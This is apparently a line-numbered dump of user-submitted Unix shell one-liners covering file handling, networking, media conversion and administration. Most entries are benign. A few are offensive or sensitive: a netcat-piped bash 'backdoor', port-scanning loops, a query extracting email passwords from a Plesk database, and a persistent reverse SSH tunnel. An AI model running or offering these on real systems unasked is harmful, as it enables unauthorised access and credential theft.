4062# vimdiff to remotehost
4063vimdiff tera.py <(ssh -A testserver "cat tera.py")
4064
4065# Count the number of characters in each line
4066awk '{count[length]++}END{for(i in count){printf("%d: %d\n", count[i], i)}}'
4067
4068# list your device drivers
4069lspci -vv
4070
4071# bulk dl files based on a pattern
4072curl -O http://hosted.met-art.com/generated_gallery/full/061606AnnaUkrainePasha/met-art-free-sample-00[00-19].jpg
4073
4074# Create a zip archive excluding all SVN folders
4075zip -r myfile.zip * -x \*.svn\*
4076
4077# Simplest port scanner
4078for p in {1..1023}; do(echo >/dev/tcp/localhost/$p) >/dev/null 2>&1 && echo "$p open"; done
4079
4080
4081
4082# Lock the hardware eject button of the cdrom
4083eject -i 1
4084
4085# Show interface/ip using awk
4086ifconfig -a| awk '/^wlan|^eth|^lo/ {;a=$1;FS=":"; nextline=NR+1; next}{ if (NR==nextline) { split($2,b," ")}{ if ($2 ~ /[0-9]\./) {print a,b[1]}; FS=" "}}'
4087
4088# Hex math with bc
4089echo 'obase=16; C+F' | bc
4090
4091# List all installed PERL modules by CPAN
4092perldoc perllocal
4093
4094# Grab a list of MP3s out of Firefox's cache
4095for i in `ls ~/.mozilla/firefox/*/Cache`; do file $i | grep -i mpeg | awk '{print $1}' | sed s/.$//; done
4096
4097# Change the homepage of Firefox
4098sed -i 's|\("browser.startup.homepage",\) "\(.*\)"|\1 "http://sliceoflinux.com"|' .mozilla/firefox/*.default/prefs.js
4099
4100# In place line numbering
4101{ rm -f file10 && nl > file10; } < file10
4102
4103# Find out what the day ends in
4104date +%A | tail -2c
4105
4106# Disconnect telnet
4107telnet somehost 1234, <ctrl+5> close
4108
4109# ssh: change directory while connecting
4110ssh -t server 'cd /etc && $SHELL'
4111
4112# Makes the permissions of file2 the same as file1
4113getfacl file1 | setfacl --set-file=- file2
4114
4115# Avoids ssh timeouts by sending a keep alive message to the server every 60 seconds
4116echo 'ServerAliveInterval 60' >> /etc/ssh/ssh_config
4117
4118# Limit bandwidth usage by any program
4119trickle -d 60 wget http://very.big/file
4120
4121# Google URL shortener
4122curl -s 'http://ggl-shortener.appspot.com/?url='"$1" | sed -e 's/{"short_url":"//' -e 's/"}/\n/g'
4123
4124# List manually installed packages (excluding Essentials)
4125aptitude search '~i!~E' | grep -v "i A" | cut -d " " -f 4
4126
4127# Restore mysql database uncompressing on the fly.
4128mysql -uroot -p'passwd' database < <(zcat database.sql.gz)
4129
4130# Delete C style comments using vim
4131vim suite.js -c '%s!/\*\_.\{-}\*/!!g'
4132
4133# get only time of execution of a command without his output
4134time Command >/dev/null
4135
4136# converting horizontal line to vertical line
4137tr '\t' '\n' < inputfile
4138
4139# Merge files, joining each line in one line
4140paste file1 file2 fileN > merged
4141
4142# Let's make screen and ssh-agent friends
4143eval `ssh-agent`; screen
4144
4145# Tell Analytics to fuck itself.
4146gofuckanalytics() { echo "DELETE FROM moz_cookies WHERE name LIKE '__utm%';" | sqlite3 $( find ~/.mozilla -name cookies.sqlite ) }
4147
4148# Get all mac address
4149ifconfig | awk '/HWaddr/ { print $NF }'
4150
4151# Get all mac address
4152ifconfig -a| grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'
4153
4154# Start another instance of X via SSH
4155startx -- /usr/X11R6/bin/Xnest :5 -geometry 800x600
4156
4157
4158
4159# Simple server which listens on a port and prints out received data
4160ncat -l portnumber
4161
4162# Google Spell Checker
4163search='spelll'; curl -sd "<spellrequest><text>$search</text></spellrequest>" https://google.com/tbproxy/spell | sed 's/.*<spellresult [^>]*>\(.*\)<\/spellresult>/\1/;s/<c \([^>]*\)>\([^<]*\)<\/c>/\1;\2\n/g' | grep 's="1"' | sed 's/^.*;\([^\t]*\).*$/\1/'
4164
4165# Turn shell tracing and verbosity (set -xv) on/off with 1 command!
4166xv() { case $- in *[xv]*) set +xv;; *) set -xv ;; esac }
4167
4168# Url Encode
4169echo "$url" | perl -MURI::Escape -ne 'chomp;print uri_escape($_),"\n"'
4170
4171# split a multi-page PDF into separate files
4172gs -dBATCH -dNOPAUSE -sDEVICE=pdfwrite -dFirstPage=2 -dLastPage=2 -sOutputFile=page2.pdf multipageinputfile.pdf
4173
4174# Function to split a string into an array
4175Split() { eval "$1=( \"$(echo "${!1}" | sed "s/$2/\" \"/g")\" )"; }
4176
4177# How many days until the end of the year
4178echo "There are $(($(date +%j -d"Dec 31, $(date +%Y)")-$(date +%j))) left in year $(date +%Y)."
4179
4180# nice disk usage, sorted by size, see description for full command
4181du -sk ./* | sort -nr
4182
4183# Dump a web page
4184curl -s http://google.com | hexdump -C|less
4185
4186# Set a posix shell to echo all commands that it's about to execute, after all expansions have been done.
4187set -x
4188
4189# Get Cookies from bash
4190a="www.commandlinefu.com";b="/index.php";for n in $(seq 1 7);do echo -en "GET $b HTTP/1.0\r\nHost: "$a"\r\n\r\n" |nc $a 80 2>&1 |grep Set-Cookie;done
4191
4192# Recursively grep thorugh directory for string in file.
4193grep -r -i "phrase" directory/
4194
4195# Extract all 7zip files in current directory taking filename spaces into account
4196for file in *.7z; do 7zr e "$file"; done
4197
4198# renice by name
4199renice +5 -p $(pidof <process name>)
4200
4201# Perl one liner for epoch time conversion
4202perl -pe's/([\d.]+)/localtime $1/e;'
4203
4204# improve copy file over ssh showing progress
4205file='path to file'; tar -cf - "$file" | pv -s $(du -sb "$file" | awk '{print $1}') | gzip -c | ssh -c blowfish user@host tar -zxf - -C /opt/games
4206
4207# Change the From: address on the fly for email sent from the command-line
4208mail -s "subject" user@todomain.com <emailbody.txt -- -f customfrom@fromdomain.com -F 'From Display Name'
4209
4210# Command to Show a List of Special Characters for bash prompt (PS1)
4211alias PS1="man bash | sed -n '/ASCII bell/,/end a sequence/p'"
4212
4213# Copy a file using dd and watch its progress
4214dd if=fromfile of=tofile & DDPID=$! ; sleep 1 ; while kill -USR1 $DDPID ; do sleep 5; done
4215
4216# Every Nth line position # (AWK)
4217awk 'NR%3==1' file
4218
4219# Rename .JPG to .jpg recursively
4220find /path/to/images -name '*.JPG' -exec bash -c 'mv "$1" "${1/%.JPG/.jpg}"' -- {} \;
4221
4222# Resize a Terminal Window
4223printf "\e[8;70;180;t"
4224
4225# Print a row of 50 hyphens
4226perl -le'print"-"x50'
4227
4228# Is it a terminal?
4229isatty(){ test -t $1; }
4230
4231# Block all IP addresses and domains that have attempted brute force SSH login to computer
4232(bzcat BZIP2_FILES && cat TEXT_FILES) | grep -E "Invalid user|PAM" | grep -o -E "from .+" | awk '{print $2}' | sort | uniq >> /etc/hosts.deny
4233
4234
4235
4236# cd up a number of levels
4237function ..(){ for ((j=${1:-1},i=0;i<j;i++));do builtin cd ..;done;}
4238
4239# Empty a file
4240> foobar.txt
4241
4242# get xclip to own the clipboard contents
4243xclip -o -selection clipboard | xclip -selection clipboard
4244
4245# Sniffing network to generate a pcap file in CLI mode on a remote host and open it via local Wireshark ( GUI ).
4246tcpdump -v -i <INTERFACE> -s 0 -w /tmp/sniff.pcap port <PORT> # On the remote side
4247
4248# create disk copy over the net without temp files
4249SOURCE: dd if=/dev/sda bs=16065b | netcat ip-target 1234 TARGET: netcat -l -p 1234 | dd of=/dev/mapper/laptop bs=16065b STATS on target: watch -n60 -- kill -USR1 $(pgrep dd)
4250
4251# List the size (in human readable form) of all sub folders from the current location
4252du -sch ./*
4253
4254# Find the ratio between ram usage and swap usage.
4255sysctl -a | grep vm.swappiness
4256
4257# Send a local file via email
4258mutt your@email_address.com -s "Message Subject Here" -a attachment.jpg </dev/null
4259
4260# Find jpeg images and copy them to a central location
4261find . -iname "*.jpg" -print0 | tr '[A-Z]' '[a-z]' | xargs -0 cp --backup=numbered -dp -u --target-directory {location} &
4262
4263# Find and copy scattered mp3 files into one directory
4264find . -iname '*.mp3' -type f -print0 | xargs -I{} -0 cp {} </path>
4265
4266# Generate a binary file with all ones (0xff) in it
4267tr '\000' '\377' < /dev/zero | dd of=allones bs=1024 count=2k
4268
4269# determine if tcp port is open
4270if (nc -zw2 www.example.com 80); then echo open; fi
4271
4272# Display Dilbert strip of the day
4273display http://dilbert.com$(curl -s dilbert.com|grep -Po '"\K/dyn/str_strip(/0+){4}/.*strip.[^\.]*\.gif')
4274
4275# Monitor memory usage
4276watch vmstat -sSM
4277
4278# Return threads count of a process
4279ps -o thcount -p <process id>
4280
4281# Mirror the NASA Astronomy Picture of the Day Archive
4282wget -t inf -k -r -l 3 -p -m http://apod.nasa.gov/apod/archivepix.html
4283
4284# Sorted list of established destination connections
4285netstat | awk '/EST/{print $5}' | sort
4286
4287# DVD to YouTube ready watermarked MPEG-4 AVI file using mencoder (step 2)
4288mencoder -sub heading.ssa -subpos 0 -subfont-text-scale 4 -utf8 -oac copy -ovc lavc -lavcopts vcodec=mpeg4 -vf scale=320:-2,expand=:240:::1 -ffourcc xvid -o output.avi dvd.avi
4289
4290# Burn a directory of mp3s to an audio cd.
4291alias burnaudiocd='mkdir ./temp && for i in *.[Mm][Pp]3;do mpg123 -w "./temp/${i%%.*}.wav" "$i";done;cdrecord -pad ./temp/* && rm -r ./temp'
4292
4293# Remove an IP address ban that has been errantly blacklisted by denyhosts
4294denyhosts-remove $IP_ADDRESS
4295
4296# View the latest astronomy picture of the day from NASA.
4297apod(){ local x=http://antwrp.gsfc.nasa.gov/apod/;feh $x$(curl -s ${x}astropix.html|grep -Pom1 'image/\d+/.*\.\w+');}
4298
4299# Real time satellite wheather wallpaper
4300curl http://www.cpa.unicamp.br/imagens/satelite/ult.gif | xli -onroot -fill stdin
4301
4302# Print stack trace of a core file without needing to enter gdb interactively
4303alias gdbbt="gdb -q -n -ex bt -batch"
4304
4305# Create date based backups
4306backup() { for i in "$@"; do cp -va $i $i.$(date +%Y%m%d-%H%M%S); done }
4307
4308# Burst a Single PDF Document into Single Pages and Report its Data to doc_data.txt
4309pdftk mydoc.pdf burst
4310
4311
4312
4313# Create a backdoor on a machine to allow remote connection to bash
4314/bin/bash | nc -l 1234
4315
4316# umount all nfs mounts on machine
4317umount -a -t nfs
4318
4319# Figure out your work output for the day
4320git diff --stat `git log --author="XXXXX" --since="12 hours ago" --pretty=oneline | tail -n1 | cut -c1-40` HEAD
4321
4322# Remove color codes (special characters) with sed
4323sed -r "s/\x1B\[([0-9]{1,3}((;[0-9]{1,3})*)?)?[m|K]//g
4324
4325# Get the absolute path of a file
4326absolute_path () { readlink -f "$1"; };
4327
4328# backup local MySQL database into a folder and removes older then 5 days backups
4329mysqldump -uUSERNAME -pPASSWORD database | gzip > /path/to/db/files/db-backup-`date +%Y-%m-%d`.sql.gz ;find /path/to/db/files/* -mtime +5 -exec rm {} \;
4330
4331# List installed deb packages by size
4332dpkg-query -Wf '${Installed-Size}\t${Package}\n' | sort -n
4333
4334# Display a block of text with AWK
4335sed -n /start_pattern/,/stop_pattern/p file.txt
4336
4337# grep -v with multiple patterns.
4338sed '/test/{/error\|critical\|warning/d}' somefile
4339
4340# StopWatch, simple text, hh:mm:ss using Unix Time
4341export I=$(date +%s); watch -t -n 1 'T=$(date +%s);E=$(($T-$I));hours=$((E / 3600)) ; seconds=$((E % 3600)) ; minutes=$((seconds / 60)) ; seconds=$((seconds % 60)) ; echo $(printf "%02d:%02d:%02d" $hours $minutes $seconds)'
4342
4343# Compression formats Benchmark
4344for a in bzip2 lzma gzip;do echo -n>$a;for b in $(seq 0 256);do dd if=/dev/zero of=$b.zero bs=$b count=1;c=$(date +%s%N);$a $b.zero;d=$(date +%s%N);total=$(echo $d-$c|bc);echo $total>>$a;rm $b.zero *.bz2 *.lzma *.gz;done;done
4345
4346# geoip lookup
4347geoip(){curl -s "http://www.geody.com/geoip.php?ip=${1}" | sed '/^IP:/!d;s/<[^>][^>]*>//g' ;}
4348
4349# Localize provenance of current established connections
4350for i in $(netstat --inet -n|grep ESTA|awk '{print $5}'|cut -d: -f1);do geoiplookup $i;done
4351
4352# Determine MAC address of remote host when you know its IP address
4353arping 192.168.1.2
4354
4355# calulate established tcp connection of local machine
4356netstat -an|grep -ci "tcp.*established"
4357
4358# Using column to format a directory listing
4359(printf "PERMISSIONS LINKS OWNER GROUP SIZE MONTH DAY HH:MM PROG-NAME\n" \ ; ls -l | sed 1d) | column -t
4360
4361# Enable programmable bash completion in debian lenny
4362aptitude install bash-completion ; source /etc/bash_completion
4363
4364# List dot-files and dirs, but not . or ..
4365ls -A
4366
4367# Make alias pemanent fast
4368PERMA () { echo "$@" >> ~/.bashrc; }
4369
4370# Rip DVD to YouTube ready MPEG-4 AVI file using mencoder
4371mencoder -oac mp3lame -lameopts cbr=128 -ovc lavc -lavcopts vcodec=mpeg4 -ffourcc xvid -vf scale=320:-2,expand=:240:::1 -o output.avi dvd://0
4372
4373# Port scan a range of hosts with Netcat.
4374for i in {21..29}; do nc -v -n -z -w 1 192.168.0.$i 443; done
4375
4376# 32 bits or 64 bits?
4377sudo lshw -C cpu|grep width
4378
4379# Restart command if it dies.
4380ps -C program_name || { program_name & }
4381
4382# clean up syntax and de-obfuscate perl script
4383%! perl -MO=Deparse | perltidy
4384
4385# Remove color codes (special characters) with sed
4386sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[m|K]//g"
4387
4388
4389
4390# Catch a proccess from a user and strace it.
4391x=1; while [ $x = 1 ]; do process=`pgrep -u username`; if [ $process ]; then x=0; fi; done; strace -vvtf -s 256 -p $process
4392
4393# Convert mp3/wav file to asterisk ulaw for music on hold (moh)
4394sox -v 0.125 -V <mp3.mp3> -t au -r 8000 -U -b -c 1 <ulaw.ulaw> resample -ql
4395
4396# calulate established tcp connection of local machine
4397netstat -an | awk '$1 ~ /[Tt][Cc][Pp]/ && $NF ~ /ESTABLISHED/{i++}END{print "Connected:\t", i}'
4398
4399# Change Title of Terminal Window to Verbose Info useful at Login
4400echo -ne "\033]0;`id -un`:`id -gn`@`hostname||uname -n|sed 1q` `who -m|sed -e "s%^.* \(pts/[0-9]*\).*(\(.*\))%[\1] (\2)%g"` [`uptime|sed -e "s/.*: \([^,]*\).*/\1/" -e "s/ //g"` / `ps aux|wc -l`]\007"
4401
4402# git remove files which have been deleted
4403git add -u
4404
4405# Extract audio track from a video file using mencoder
4406mencoder -of rawaudio -ovc copy -oac mp3lame -o output.mp3 input.avi
4407
4408# Happy Days
4409echo {1..3}" o'clock" ROCK
4410
4411# search for a file in PATH
4412type <filename>
4413
4414# Extract audio from Mythtv recording to Rockbox iPod using ffmpeg
4415ffmpeg -ss 0:58:15 -i DavidLettermanBlackCrowes.mpg -acodec copy DavidLettermanBlackCrowes.ac3
4416
4417# Run remote web page, but don't save the results
4418wget -O /dev/null http://www.google.com
4419
4420# Make a statistic about the lines of code
4421find . -name \*.c | xargs wc -l | tail -1 | awk '{print $1}'
4422
4423# When was your OS installed?
4424ls -ldct /lost+found |awk '{print $6, $7}'
4425
4426# Update Ping.fm status
4427curl -d api_key="$api_key" -d user_app_key="$user_app_key -d body="$body" -d post_method="default" http://api.ping.fm/v1/user.post
4428
4429# list all hd partitions
4430awk '/d.[0-9]/{print $4}' /proc/partitions
4431
4432# Top 10 requestors by IP address from Apache/NCSA Logs
4433awk '{print $1}' /var/log/httpd/access_log | sort | uniq -c | sort -rnk1 | head -n 10
4434
4435# To get internet connection information .
4436sudo /bin/netstat -tpee
4437
4438# Do a search-and-replace in a file after making a backup
4439perl -i'.bak' -pe 's/old/new/g' <filename>
4440
4441# convert unixtime to human-readable
4442perl -e 'print scalar(gmtime(1234567890)), "\n"'
4443
4444# convert unixtime to human-readable with awk
4445echo 1234567890 | awk '{ print strftime("%c", $0); }'
4446
4447# scp a good script from host A which has no public access to host C, but with a hop by host B
4448cat nicescript |ssh middlehost "cat | ssh -a root@securehost 'cat > nicescript'"
4449
4450# Compare an archive with filesystem
4451tar dfz horde-webmail-1.2.3.tar.gz
4452
4453# Update twitter via curl as Function
4454tweet(){ curl -u "$1" -d status="$2" "http://twitter.com/statuses/update.xml"; }
4455
4456# print file without duplicated lines usind awk
4457awk '!($0 in a) {a[$0];print}' file
4458
4459# Copy via tar pipe while preserving file permissions (cp does not!; run this command with root!)
4460cp -pr olddirectory newdirectory
4461
4462# Download Youtube Playlist
4463y=http://www.youtube.com;for i in $(curl -s $f|grep -o "url='$y/watch?v=[^']*'");do d=$(echo $i|sed "s|url\='$y/watch?v=\(.*\)&.*'|\1|");wget -O $d.flv "$y/get_video.php?video_id=$d&t=$(curl -s "$y/watch?v=$d"|sed -n 's/.* "t": "\([^"]*\)",.*/\1/p')";done
4464
4465
4466
4467# YES = NO
4468yes n
4469
4470# List all groups and the user names that were in each group
4471for u in `cut -f1 -d: /etc/passwd`; do echo -n $u:; groups $u; done | sort
4472
4473# Random number generation within a range N, here N=10
4474echo $(( $RANDOM % 10 + 1 ))
4475
4476# floating point operations in shell scripts
4477echo "scale=4; 3 / 5" | bc
4478
4479# for all who don't have the watch command
4480watch() { t=$1; shift; while test :; do clear; date=$(date); echo -e "Every "$t"s: $@ \t\t\t\t $date"; $@; sleep $t; done }
4481
4482# Find UTF-8 text files misinterpreted as ISO 8859-1 due to Byte Order Mark (BOM) of the Unicode Standard.
4483find . -type f | grep -rl $'\xEF\xBB\xBF'
4484
4485# Create Encrypted WordPress MySQL Backup without any DB details, just the wp-config.php
4486eval $(sed -e "s/^d[^D]*DB_\([NUPH]\).*',[^']*'\([^']*\)'.*/_\1='\2';/" -e "/^_/!d" wp-config.php) && mysqldump --opt --add-drop-table -u$_U -p$_P -h$_H $_N | gpg -er AskApache >`date +%m%d%y-%H%M.$_N.sqls`
4487
4488# formatting number with comma
4489printf "%'d\n" 1234567
4490
4491# Find the process you are looking for minus the grepped one
4492ps -C command
4493
4494# make 100 directories with leading zero, 001...100, using bash3.X
4495mkdir $(printf '%03d\n' {1..100})
4496
4497# Switch to the previous branch used in git(1)
4498git checkout -
4499
4500# Batch file name renaming (copying or moving) w/ glob matching.
4501for x in *.ex1; do mv "${x}" "${x%ex1}ex2"; done
4502
4503# Change Windows Domain password from Linux
4504smbpasswd -r <domain-server> -U <user name>
4505
4506# Move all but the newest 100 emails to a gzipped archive
4507find $MAILDIR/ -type f -printf '%T@ %p\n' | sort --reverse | sed -e '{ 1,100d; s/[0-9]*\.[0-9]* \(.*\)/\1/g }' | xargs -i sh -c "cat {}&&rm -f {}" | gzip -c >>ARCHIVE.gz
4508
4509# Testing php configuration
4510php -r "phpinfo\(\);"
4511
4512# Recursively Find Images, Convert to JPEGS and Delete
4513find . -name '*'.tiff -exec bash -c "mogrify -format jpg -quality 85 -resize 75% {} && rm {}" \;
4514
4515# Convert one file from ISO-8859-1 to UTF-8.
4516iconv --from-code=ISO-8859-1 --to-code=UTF-8 iso.txt > utf.txt
4517
4518# Stage only portions of the changes to a file.
4519git add --patch <filename>
4520
4521# Colorize make, gcc, and diff output
4522colormake, colorgcc, colordiff
4523
4524# use wget to check if a remote file exists
4525wget --spider -v http://www.server.com/path/file.ext
4526
4527# Retrieve top ip threats from http://isc.sans.org/sources.html and add them into iptables output chain.
4528curl -s http://isc.sans.org/sources.html|grep "ipinfo.html"|awk -F"ip=" {'print $2'}|awk -F"\"" {'print $1'}|xargs -n1 sudo iptables -A OUTPUT -j DROP -d > 2&>1
4529
4530# Faster find and move using the find and xargs commands. Almost as fast as locate.
4531find . -maxdepth 2 -name "*somepattern" -print0 | xargs -0 -I "{}" echo mv "{}" /destination/path
4532
4533# Show in a web server, running in the port 80, how many ESTABLISHED connections by ip it has.
4534netstat -ant | grep :80 | grep ESTABLISHED | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | sort -n
4535
4536# How much RAM is Apache using?
4537ps -o rss -C httpd | tail -n +2 | (sed 's/^/x+=/'; echo x) | bc
4538
4539# Get Futurama quotations from slashdot.org servers
4540lynx -head -dump http://slashdot.org|egrep 'Bender|Fry'|sed 's/X-//'
4541
4542
4543
4544# Batch File Rename with awk and sed
4545ls foo*.jpg | awk '{print("mv "$1" "$1)}' | sed 's/foo/bar/2' | /bin/sh
4546
4547# Count all conections estabilished on gateway
4548cat /proc/net/ip_conntrack | grep ESTABLISHED | grep -c -v ^#
4549
4550# Run the last command as root - (Open)Solaris version with RBAC
4551pfexec !!
4552
4553# Save a file you edited in vim without the needed permissions - (Open)solaris version with RBAC
4554:w !pfexec tee %
4555
4556# find and grep Word docs
4557find . -iname '*filename*.doc' | { while read line; do antiword "$line"; done; } | grep -C4 search_term;
4558
4559# find geographical location of an ip address
4560lynx -dump http://www.ip-adress.com/ip_tracer/?QRY=$1|sed -nr s/'^.*My IP address city: (.+)$/\1/p'
4561
4562# Donwload media from *.rm from an url of type htttp://.../*.ram
4563wget <URL> -O- | wget -i -
4564
4565# Find files containing string and open in vim
4566vim $(grep test *)
4567
4568# Paste OS X clipboard contents to a file on a remote machine
4569pbpaste | ssh user@hostname 'cat > ~/my_new_file.txt'
4570
4571# Blank/erase a DVD-RW
4572dvd+rw-format -force /dev/dvd1
4573
4574# find all non-html files
4575find . -type f ! -name "*html"
4576
4577# find external links in all html files in a directory list
4578find . -name '*.html' -print0| xargs -0 -L1 cat |sed "s/[\"\<\>' \t\(\);]/\n/g" |grep "http://" |sort -u
4579
4580# Search through files, ignoring .svn
4581grep <pattern> -R . --exclude-dir='.svn'
4582
4583# Delete files if not have some extension
4584ls -1 |grep -v .jpg |xargs rm
4585
4586# Matrix Style
4587echo -e "\e[31m"; while $t; do for i in `seq 1 30`;do r="$[($RANDOM % 2)]";h="$[($RANDOM % 4)]";if [ $h -eq 1 ]; then v="\e[1m $r";else v="\e[2m $r";fi;v2="$v2 $v";done;echo -e $v2;v2="";done;
4588
4589# Export log to html file
4590cat /var/log/auth.log | logtool -o HTML > auth.html
4591
4592# Alternative size (human readable) of files and directories (biggest last)
4593du -ms * .[^.]*| sort -nk1
4594
4595# Uniformly correct filenames in a directory
4596for i in *;do mv "$i" "$(echo $i | sed s/PROBLEM/FIX/g)";done
4597
4598# Print line immediately before a matching regex.
4599awk '/regex/{print x};{x=$0}'
4600
4601# Show your account and windows policy settings with Results of Policy msc.
4602rsop.msc
4603
4604# Set an alarm to wake up
4605sleep 5h && rhythmbox path/to/song
4606
4607# Merge several pdf files into a single file
4608gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf a.pdf b.pdf c.pdf
4609
4610# Get a shell with a not available account
4611su - <user> -s /bin/sh -c "/bin/sh"
4612
4613# Size(k) of directories(Biggest first)
4614find . -depth -type d -exec du -s {} \; | sort -k1nr
4615
4616# Watch several log files in a single window
4617multitail /var/log/messages /var/log/apache2/access.log /var/log/mail.info
4618
4619
4620
4621# Play ISO/DVD-files and activate dvd-menu and mouse menu clicks.
4622mplayer dvdnav:// -dvd-device foo.img -mouse-movements
4623
4624# On-the-fly unrar movie in .rar archive and play it, does also work on part archives.
4625unrar p -inul foo.rar|mplayer -
4626
4627# Efficiently extract lines between markers
4628sed -n '/START/,${/STOP/q;p}'
4629
4630# load changes without logging in and out vim
4631:source ~/.vimrc
4632
4633# purge installed but unused linux headers, image, or modules
4634dpkg -l 'linux-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d' | xargs sudo apt-get -y purge
4635
4636# Sort lines using the Xth characted as the start of the sort string
4637sort -k1.x
4638
4639# List commands with a short summary
4640find `echo "${PATH}" | tr ':' ' '` -type f | while read COMMAND; do man -f "${COMMAND##*/}"; done
4641
4642# Extract neatly a rar compressed file
4643unrar e file.part1.rar; if [ $? -eq 0 ]; then rm file.part*.rar; fi
4644
4645# Another way to calculate sum size of all files matching a pattern
4646find . -iname '*.jar' | xargs du -ks | cut -f1 | xargs echo | sed "s/ /+/g" | bc
4647
4648# Poor man's nmap for a class C network from rfc1918
4649( nw=192.168.0 ; h=1; while [ $h -lt 255 ] ; do ( ping -c2 -i 0.2 -W 0.5 -n $nw.$h & ); h=$[ $h + 1 ] ; done ) | awk '/^64 bytes.*/ { gsub( ":","" ); print $4 }' | sort -u
4650
4651# gets all files committed to svn by a particular user since a particular date
4652svn log -v -r{2009-05-21}:HEAD | awk '/^r[0-9]+ / {user=$3} /yms_web/ {if (user=="george") {print $2}}' | sort | uniq
4653
4654# Synchronize both your system clock and hardware clock and calculate/adjust time drift
4655ntpdate pool.ntp.org && hwclock --systohc && hwclock --adjust
4656
4657# 'Fix' a typescript file created by the 'script' program to remove control characters
4658cat typescript | perl -pe 's/\e([^\[\]]|\[.*?[a-zA-Z]|\].*?\a)//g' | col -b > typescript-processed
4659
4660# Random numbers with Ruby
4661ruby -e "puts (1..20).map {rand(10 ** 10).to_s.rjust(10,'0')}"
4662
4663# find listening ports by pid
4664lsof -nP +p 24073 | grep -i listen | awk '{print $1,$2,$7,$8,$9}'
4665
4666# removing syncronization problems between audio and video
4667ffmpeg -i source_audio.mp3 -itsoffset 00:00:10.2 -i source_video.m2v target_video.flv
4668
4669# Lock your KDE4 remotely (via regular KDE lock)
4670DISPLAY=:0 /usr/lib/kde4/libexec/krunner_lock --forcelock >/dev/null 2>&1 &
4671
4672# List last opened tabs in firefox browser
4673F="$HOME/.moz*/fire*/*/session*.js" ; grep -Go 'entries:\[[^]]*' $F | cut -d[ -f2 | while read A ; do echo $A | sed s/url:/\n/g | tail -1 | cut -d\" -f2; done
4674
4675# Vi - Matching Braces, Brackets, or Parentheses
4676%
4677
4678# Find which jars contain a class
4679find . -name "*.jar" | while read file; do echo "Processing ${file}"; jar -tvf $file | grep "Foo.class"; done
4680
4681# Break lines after, for example 78 characters, but don't break within a word/string
4682fold -w 78 -s file-to-wrap
4683
4684# Print permanent subtitles on a video
4685transcode -i myvideo.avi -x mplayer="-sub myvideo.srt" -o myvideo_subtitled.avi -y xvid
4686
4687# Go to the next sibling directory in alphabetical order, version 2
4688cd ../"$(ls -F ..|grep '/'|grep -A1 `basename $PWD`|tail -n 1)"
4689
4690# find largest file in /var
4691find /var -mount -ls -xdev | /usr/bin/sort -nr +6 | more
4692
4693# List all PostgreSQL databases. Useful when doing backups
4694psql -U postgres -lAt | gawk -F\| '$1 !~ /^template/ && $1 !~ /^postgres/ && NF > 1 {print $1}'
4695
4696
4697
4698# Show established network connections
4699lsof -i | grep -i estab
4700
4701# Start screen with name and run command
4702screen -dmS "name_me" echo "hi"
4703
4704# Mac OS X: Change Color of the ls Command
4705export LSCOLORS=gxfxcxdxbxegedabagacad
4706
4707# Merge video files together using mencoder (part of mplayer)
4708mencoder -oac copy -ovc copy part1.avi part2.avi part3.avi -o full_movie.avi
4709
4710# Backup of a partition
4711cd /mnt/old && tar cvf - . | ( cd /mnt/new && tar xvf - )
4712
4713# Connect via sftp to a specific port
4714sftp -oPort=3476 user@host
4715
4716# Get file access control list
4717getfacl /mydir
4718
4719# Clone current directory into /destination verbosely
4720find . | cpio -pumdv /destination
4721
4722# Mount a disk image (dmg) file in Mac OSX
4723hdiutil attach somefile.dmg
4724
4725# list and sort files by size in reverse order (file size in human readable output)
4726ls -S -lhr
4727
4728# Convert a SVG file to grayscale
4729inkscape -f file.svg --verb=org.inkscape.color.grayscale --verb=FileSave --verb=FileClose
4730
4731# send a .loc file to a garmin gps over usb
4732gpsbabel -D 0 -i geo -f "/path/to/.loc" -o garmin -F usb:
4733
4734# Browse shared folder when you're the only Linux user
4735smbclient -U userbob //10.1.1.75/Shared
4736
4737# connect to all screen instances running
4738screen -ls | grep pts | gawk '{ split($1, x, "."); print x[1] }' | while read i; do gnome-terminal -e screen\ -dx\ $i; done
4739
4740# Add 10 random unrated songs to xmms2 playlist
4741xmms2 mlib search NOT +rating | grep -r '^[0-9]' | sed -r 's/^([0-9]+).*/\1/' | sort -R | head | xargs -L 1 xmms2 addid
4742
4743# Output a list of svn repository entities to xml file
4744svn list -R https://repository.com --xml >> svnxxmlinfo.xml
4745
4746# batch convert Nikon RAW (nef) images to JPG
4747ufraw-batch --out-type=jpeg --out-path=./jpg ./*.NEF
4748
4749# Lazy man's vim
4750function v { if [ -z $1 ]; then vim; else vim *$1*; fi }
4751
4752# Find writable files
4753find -writable
4754
4755# Edit file(s) that has been just listed
4756vi `!!`
4757
4758# Use ImageMagick to get an image's properties
4759identify -ping imageName.png
4760
4761# Pulls email password out of Plesk database for given email address.
4762mysql -uadmin -p`cat /etc/psa/.psa.shadow` -e "use psa; select accounts.password FROM accounts JOIN mail ON accounts.id=mail.account_id WHERE mail.mail_name='webmaster';"
4763
4764# Play musical notes from octave of middle C
4765man beep | sed -e '1,/Note/d; /BUGS/,$d' | awk '{print $2}' | xargs -IX sudo beep -f X -l 500
4766
4767# ensure your ssh tunnel will always be up (add in crontab)
4768[[ $(COLUMNS=200 ps faux | awk '/grep/ {next} /ssh -N -R 4444/ {i++} END {print i}') ]] || nohup ssh -N -R 4444:localhost:22 user@relay &
4769
4770# Using ASCII Art output on MPlayer
4771mplayer -vo aa <video file>
4772
4773
4774
4775# Generate 10 pronunciable passwords
4776apg -a 0 -n 10
4777
4778# find an unused unprivileged TCP port
4779netstat -atn | awk ' /tcp/ {printf("%s\n",substr($4,index($4,":")+1,length($4) )) }' | sed -e "s/://g" | sort -rnu | awk '{array [$1] = $1} END {i=32768; again=1; while (again == 1) {if (array[i] == i) {i=i+1} else {print i; again=0}}}'
4780
4781# Watch your freebox flux, through a other internet connection (for French users)
4782vlc -vvv http://mafreebox.freebox.fr/freeboxtv/playlist.m3u --sout '#transcode{vcodec=mp2v,vb=384,scale=0.5,acodec=vorbis,ab=48,channels=1}:standard{access=http,mux=ogg,url=:12345}' -I ncurses 2> /dev/null
4783
4784# Resize photos without changing exif
4785mogrify -format jpg -quality 80 -resize 800 *.jpg
4786
